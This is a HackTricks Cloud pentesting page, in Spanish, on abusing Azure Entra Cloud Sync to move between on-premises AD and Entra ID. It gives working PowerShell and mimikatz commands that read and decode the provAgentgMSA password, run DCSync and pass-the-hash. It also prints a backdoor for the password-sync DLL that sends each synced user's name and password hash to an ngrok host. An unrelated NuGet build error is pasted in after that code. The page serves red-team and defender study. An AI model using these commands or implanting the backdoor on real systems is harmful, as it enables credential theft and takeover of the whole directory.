Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md

11 KiB

Az - Cloud Sync

{{#include ../../../../banners/hacktricks-training.md}}

Información Básica

Cloud Sync es básicamente la nueva forma de Azure de sincronizar los usuarios de AD en Entra ID.

Desde la documentación: Microsoft Entra Cloud Sync es una nueva oferta de Microsoft diseñada para cumplir y alcanzar tus objetivos de identidad híbrida para la sincronización de usuarios, grupos y contactos a Microsoft Entra ID. Esto se logra utilizando el agente de aprovisionamiento en la nube de Microsoft Entra en lugar de la aplicación Microsoft Entra Connect. Sin embargo, se puede usar junto con Microsoft Entra Connect Sync.

Principales Generados

Para que esto funcione, se crean algunos principales tanto en Entra ID como en el directorio local:

  • En Entra ID se crea el usuario On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) con el rol Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

Warning

Este rol solía tener muchos permisos privilegiados y podría usarse para escalar privilegios incluso a administrador global. Sin embargo, Microsoft decidió eliminar todos los privilegios de este rol y asignarle solo uno nuevo microsoft.directory/onPremisesSynchronization/standard/read que realmente no permite realizar ninguna acción privilegiada (como modificar la contraseña o atributos de un usuario o agregar una nueva credencial a un SP).

  • En Entra ID también se crea el grupo AAD DC Administrators sin miembros ni propietarios. Este grupo es útil si se utilizan Microsoft Entra Domain Services.

  • En el AD, se crea la Cuenta de Servicio provAgentgMSA con un SamAccountName como pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), o una personalizada con estos permisos son necesarios. Generalmente se crea la predeterminada.

Warning

Entre otros permisos, la Cuenta de Servicio provAgentgMSA tiene permisos DCSync, lo que permite a cualquiera que la comprometa comprometer todo el directorio. Para más información sobre DCSync consulta esto.

Note

Por defecto, los usuarios de grupos privilegiados conocidos como Administradores de Dominio con el atributo adminCount a 1 no son sincronizados con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios altos asignados directamente pueden ser sincronizados.

Sincronización de Contraseñas

La sección es muy similar a la de:

{{#ref}} az-connect-sync.md {{#endref}}

  • La sincronización de hash de contraseñas se puede habilitar para que los usuarios puedan iniciar sesión en Entra ID usando sus contraseñas de AD. Además, cada vez que se modifica una contraseña en AD, se actualizará en Entra ID.
  • La escritura de contraseñas también se puede habilitar, permitiendo a los usuarios modificar su contraseña en Entra ID sincronizando automáticamente su contraseña en el dominio local. Pero según la documentación actual, para esto es necesario usar el Agente Connect, así que echa un vistazo a la sección Az Connect Sync para más información.
  • La escritura de grupos: Esta función permite que las membresías de grupos de Entra ID se sincronicen de vuelta al AD local. Esto significa que si un usuario es agregado a un grupo en Entra ID, también será agregado al grupo correspondiente en AD.

Pivoting

AD --> Entra ID

  • Si los usuarios de AD están siendo sincronizados desde AD a Entra ID, el pivoting de AD a Entra ID es directo, solo compromete la contraseña de algún usuario o cambia la contraseña de algún usuario o crea un nuevo usuario y espera hasta que se sincronice en el directorio de Entra ID (generalmente solo unos minutos).

Así que podrías, por ejemplo:

  • Comprometer la cuenta provAgentgMSA, realizar un ataque DCSync, descifrar la contraseña de algún usuario y luego usarla para iniciar sesión en Entra ID.
  • Simplemente crear un nuevo usuario en el AD, esperar hasta que se sincronice en Entra ID y luego usarlo para iniciar sesión en Entra ID.
  • Modificar la contraseña de algún usuario en el AD, esperar hasta que se sincronice en Entra ID y luego usarla para iniciar sesión en Entra ID.

Para comprometer las credenciales de provAgentgMSA:

# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Ahora podrías usar el hash del gMSA para realizar un ataque Pass-the-Hash contra Entra ID utilizando la cuenta provAgentgMSA y mantener persistencia, pudiendo realizar ataques DCSync contra el AD.

Para más información sobre cómo comprometer un Active Directory, consulta:

{{#ref}} https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html {{#endref}}

Note

Ten en cuenta que no hay forma de otorgar roles de Azure o EntraID a usuarios sincronizados basados en sus atributos, por ejemplo, en las configuraciones de Cloud Sync. Sin embargo, para otorgar automáticamente permisos a usuarios sincronizados, algunos grupos de Entra ID de AD podrían recibir permisos, de modo que los usuarios sincronizados dentro de esos grupos también los reciban, o se podrían usar grupos dinámicos, así que siempre verifica las reglas dinámicas y las posibles formas de abusar de ellas:

{{#ref}} ../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}}

Con respecto a la persistencia, esta publicación de blog sugiere que es posible usar dnSpy para crear una puerta trasera en el dll Microsoft.Online.Passwordsynchronisation.dll ubicado en C:\Program Files\Microsoft Azure AD Sync\Bin que es utilizado por el agente de Cloud Sync para realizar la sincronización de contraseñas, haciendo que exfiltre los hashes de contraseñas de los usuarios que están siendo sincronizados a un servidor remoto. Los hashes se generan dentro de la clase PasswordHashGenerator y la publicación del blog sugiere agregar algo de código para que la clase se vea así (nota el use System.Net y el uso de WebClient para exfiltrar los hashes de contraseñas):

using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.

Entra ID --> AD

  • Si Password Writeback está habilitado, podrías modificar la contraseña de algunos usuarios de Entra ID y si tienes acceso a la red de AD, conectarte usando ellos. Para más información, consulta la sección Az Connect Sync ya que la escritura de contraseñas se configura utilizando ese agente.

  • En este momento, Cloud Sync también permite "Microsoft Entra ID to AD", pero después de mucho tiempo descubrí que NO PUEDE sincronizar usuarios de EntraID a AD y que solo puede sincronizar usuarios de EntraID que fueron sincronizados con el hash de contraseña y provienen de un dominio que pertenece al mismo bosque de dominio al que nos estamos sincronizando, como puedes leer en https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • Estos grupos solo pueden contener usuarios sincronizados en las instalaciones y / o grupos de seguridad adicionales creados en la nube.
  • Las cuentas de usuario en las instalaciones que están sincronizadas y son miembros de este grupo de seguridad creado en la nube, pueden ser del mismo dominio o de dominio cruzado, pero todos deben ser del mismo bosque.

Por lo tanto, la superficie de ataque (y utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde donde se están sincronizando los usuarios para comprometer a un usuario en el otro dominio (y ambos deben estar en el mismo bosque aparentemente).

Enumeration

# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

{{#include ../../../../banners/hacktricks-training.md}}